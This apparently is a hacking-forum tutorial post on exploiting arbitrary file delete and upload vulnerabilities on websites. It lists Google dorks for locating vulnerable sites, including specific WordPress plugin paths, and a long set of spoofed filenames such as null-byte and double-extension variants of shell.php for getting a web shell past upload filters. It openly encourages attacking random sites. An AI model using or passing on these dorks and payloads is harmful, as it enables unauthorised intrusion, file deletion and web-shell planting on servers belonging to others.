[Synchro]

Arbitrary file delete and upload

I will write a little tutorial about arbitrary file deleteing and uploading

Ok let's start with what are those arbitrary files, well those files give you right to modify anything on the system. You can find this vulnerability in sites without. It's really hard ti find those vulnerabilities in targeted site but you can still use it on some randoms.

Arbitrary file delete

Spoiler:

This is file that give you rights to delete any file on the web site. Here are dorks to find vulnerable sites:

Code:

inurl:"delete.php?file=" ext:php
inurl:"delete?filename=" ext:php
inurl:"action=delete?file=" ext:php

Now let's say you have found a vulnerable website website at the end of URL you should see something like ../delete.php?file=
boom

Arbitrary file upload

Spoiler:

Basicly this is uploading a file( you should upload shell to hack it =D ) on the server by using arbitrary file

Ok first here are some dorks to find vulnerable site:

Code:

inurl:"upload.php?file=" ext:php
inurl:"upload?filename=" ext:php
inurl:"action=upload?file=" ext:php
inurl:wp-content/plugins/sfbrowser/connectors/php/
intext:"CMS Etiko"
inurl:wp-content/plugins/pica-photo-gallery/
inurl:"default_image.asp"
inurl:"default_imagen.asp"
inurl:"/box_image.htm"
inurl:"/plugins/ImageManager/manager.php"

Now you should see upload form, first try to upload you shell but if faild then try with extension spoofing, here are some spoof:

Code:

shell.php;.jpg
shell.php..jpg
shell.php.jpg;
shell.php.jpg:;
shell.php.jpg%;
shell.php.jpg%00
shell.php%00.jpg
shell.php.jpg;%00
shell.php.jpg%00:;
shell.php;.png
shell.php..png
shell.php.png;
shell.php.png:;
shell.php.png%;
shell.php.png%00
shell.php%00.png
shell.php.png;%00
shell.php.png%00:;
shell.php;.gif
shell.php..gif
shell.php.gif;
shell.php.gif:;
shell.php.gif%;
shell.php.gif%00
shell.php%00.gif
shell.php.gif;%00
shell.php.gif%00:;
shell.php;.txt
shell.php..txt
shell.php.txt;
shell.php.txt:;
shell.php.txt%;
shell.php.txt%00
shell.php%00.txt
shell.php.txt;%00
shell.php.txt%00:;

Those are the only spoofed extensions I find in internet if anybody know more to post them